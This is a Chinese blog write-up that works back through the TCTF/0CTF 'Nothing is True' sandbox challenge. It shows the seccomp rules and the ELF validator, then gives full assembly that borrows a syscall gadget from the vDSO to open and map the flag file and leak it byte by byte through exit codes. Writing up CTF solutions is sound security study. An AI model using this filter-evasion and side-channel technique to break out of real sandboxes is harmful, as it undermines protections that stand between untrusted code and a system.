【TCTF/0CTF】Nothing is True复现

T1d 2023-12-14 319 12/14

被打傻了,MacOS内核,浏览器v8看都看不懂,好不容易看见看得懂的沙盒题,硬是没明白在干嘛,只能赛后看看大哥们的wp复现一下。

分析限制

先patch一下程序,检查一下沙盒:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x1b 0xc000003e  if (A != ARCH_X86_64) goto 0029
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x22 0xffffffff  if (A != 0xffffffff) goto 0039
 0005: 0x15 0x20 0x00 0x00000003  if (A == close) goto 0038
 0006: 0x15 0x1f 0x00 0x0000000b  if (A == munmap) goto 0038
 0007: 0x15 0x1e 0x00 0x0000000c  if (A == brk) goto 0038
 0008: 0x15 0x1d 0x00 0x0000003c  if (A == exit) goto 0038
 0009: 0x15 0x1c 0x00 0x000000e7  if (A == exit_group) goto 0038
 0010: 0x15 0x00 0x04 0x00000009  if (A != mmap) goto 0015
 0011: 0x20 0x00 0x00 0x00000024  A = prot >> 32 # mmap(addr, len, prot, flags, fd, pgoff)
 0012: 0x15 0x00 0x1a 0x00000000  if (A != 0x0) goto 0039
 0013: 0x20 0x00 0x00 0x00000020  A = prot # mmap(addr, len, prot, flags, fd, pgoff)
 0014: 0x15 0x17 0x18 0x00000002  if (A == 0x2) goto 0038 else goto 0039
 0015: 0x15 0x00 0x04 0x0000003b  if (A != execve) goto 0020
 0016: 0x20 0x00 0x00 0x00000014  A = filename >> 32 # execve(filename, argv, envp)
 0017: 0x15 0x00 0x15 0x00000000  if (A != 0x0) goto 0039
 0018: 0x20 0x00 0x00 0x00000010  A = filename # execve(filename, argv, envp)
 0019: 0x15 0x12 0x13 0x00000000  if (A == 0x0) goto 0038 else goto 0039
 0020: 0x15 0x00 0x12 0x00000002  if (A != open) goto 0039
 0021: 0x20 0x00 0x00 0x00000014  A = filename >> 32 # open(filename, flags, mode)
 0022: 0x15 0x00 0x10 0x00000000  if (A != 0x0) goto 0039
 0023: 0x20 0x00 0x00 0x00000010  A = filename # open(filename, flags, mode)
 0024: 0x15 0x00 0x0e 0x00031337  if (A != 0x31337) goto 0039
 0025: 0x20 0x00 0x00 0x0000001c  A = flags >> 32 # open(filename, flags, mode)
 0026: 0x15 0x00 0x0c 0x00000000  if (A != 0x0) goto 0039
 0027: 0x20 0x00 0x00 0x00000018  A = flags # open(filename, flags, mode)
 0028: 0x15 0x09 0x0a 0x00000000  if (A == 0x0) goto 0038 else goto 0039
 0029: 0x15 0x00 0x09 0x40000003  if (A != ARCH_I386) goto 0039
 0030: 0x20 0x00 0x00 0x00000000  A = sys_number
 0031: 0x15 0x06 0x00 0x00000001  if (A == write) goto 0038
 0032: 0x15 0x05 0x00 0x00000003  if (A == close) goto 0038
 0033: 0x15 0x04 0x00 0x00000004  if (A == stat) goto 0038
 0034: 0x15 0x03 0x00 0x0000002d  if (A == recvfrom) goto 0038
 0035: 0x15 0x02 0x00 0x0000005a  if (A == chmod) goto 0038
 0036: 0x15 0x01 0x00 0x0000005b  if (A == fchmod) goto 0038
 0037: 0x15 0x00 0x01 0x000000fc  if (A != ioprio_get) goto 0039
 0038: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0039: 0x06 0x00 0x00 0x00000000  return KILL

检查python文件,发现会对传入的elf文件进行检测:

def check_segments(elf):
    for seg in elf.iter_segments():
        if seg.header.p_filesz > 0x10000 or seg.header.p_memsz > 0x10000:
            print('Segment too large')
            return False
        elif seg.header.p_type == 'PT_INTERP' or seg.header.p_type == 'PT_DYNAMIC':
            print('No dynamic link')
            return False
        elif seg.header.p_type == 'PT_LOAD' and seg.header.p_flags & P_FLAGS.PF_W and seg.header.p_flags & P_FLAGS.PF_X:
            print('W^X')
            return False
        elif seg.header.p_type == 'PT_GNU_STACK' and seg.header.p_flags & P_FLAGS.PF_X:
            print('No executable stack')
            return False

    return True

检查是否存在大于0x10000的段,是否存在动态链接库,是否存在同时满足可写可执行的段,栈是否可执行;

def check_elf(data):
    if len(data) < 0x40:
        print('Incomplete ELF Header')
        return False

    if not data.startswith(b'\x7fELF\x02\x01\x01' + b'\x00'*9):
        print('Invalid ELF Magic')
        return False

    if b'\xcd\x80' in data or b'\x0f\x05' in data:
        print('Bad Instruction')
        return False

    if not check_bytes(data, b'\xcd') or not check_bytes(data, b'\x80') or not check_bytes(data, b'\x0f') or not check_bytes(data, b'\x05'):
        print('Bad Instruction')
        return False

    elf = ELFFile(BytesIO(data))
    if ((elf.header.e_type != 'ET_EXEC' and elf.header.e_type != 'ET_DYN')
        or elf.header.e_version != 'EV_CURRENT'
        or elf.header.e_ehsize != 0x40
        or elf.header.e_phoff != 0x40
        or elf.header.e_phnum <= 0
        or elf.header.e_phnum >= 100):
        print('Bad ELF Header')
        return False

    return check_segments(elf)

检查文件头是否正确,检查文件里是否存在int 80syscall指令。

绕过限制

那么综合前面的分析我们可以发现这道题是需要我们实现不使用int 80syscall指令来实现orw绕过沙盒读取flag文件。

首先我们发现open的第一个参数是0x31337,也就是说我们需要先使用mmap函数来分配0x31000实现写入flag

字符串,接下来就是使用openmmap来打开文件和将文件映射到内存中,接下来使用exit测信道打印出flag值。但是由于检测过程中禁用了syscall指令,因此我们需要考虑别的办法是实现该指令。我们查看vdso部分,我们从里面找到这样一个片段:

 d06:	0f 05                	syscall 
 d08:	31 d2                	xor    %edx,%edx
 d0a:	31 c9                	xor    %ecx,%ecx
 d0c:	31 f6                	xor    %esi,%esi
 d0e:	31 ff                	xor    %edi,%edi
 d10:	45 31 db             	xor    %r11d,%r11d
 d13:	c3                   	ret

vdso的地址就存在栈上,我们只需要动态查找到vdso的地址即可,完整汇编代码如下:

.global _start

.data

__syscall: .quad 0x0
__flag : .string "flag"
__end  : .byte 0x00

.text

.intel_syntax noprefix

_start:

mov rdi,rsp

__search:
mov rax,[rdi]
cmp rax,0x21
je __search_end
add rdi,0x8
jmp __search


__search_end:
add rdi,0x8
mov rdi,[rdi]		/* vdso */
push rdi
pop rsi

lea rdx, [rsi + 0xd06]

lea rdi,[rip + __syscall]
mov [rdi],rdx

/* mmap(0x31000,0x1000,PROT_WRITE,MAP_PRIVATE|MAP_ANON|MAP_FIXED,-1,0); */
mov rdi,0x31000
mov rsi,0x1000
mov rdx,0x2
mov r10,0x32
mov r8,-1
xor r9,r9

mov rax,0x9
call [rip + __syscall]

/* open */
mov rdi,0x31337
lea rsi,[rip + __flag]
mov rax,[rsi]
mov [rdi],rax

mov rdi,0x31337
xor rsi,rsi

mov rax,2
call [rip + __syscall]

/* mmap */
mov rdi,0x31000
mov rsi,0x1000
mov rdx,0x2
mov r10,0x12
mov r8,0x3
xor r9,r9

mov rax,0x9
call [rip + __syscall]

/**/
/* exit */
mov rdi,0x31000
add rdi, offset
movzx rdi,byte ptr [rdi]

mov rax,60
call [rip + __syscall]

然后动态修改offset值实现爆破即可。

- THE END -
Tag:

T1d

12月14日15:43

最后修改:2023年12月14日
1

非特殊说明,本博所有文章均为博主原创。

共有 1 条评论

您必须 后可评论

  1. Arihx

    T1d哥哥太crazy了
    😨 🤥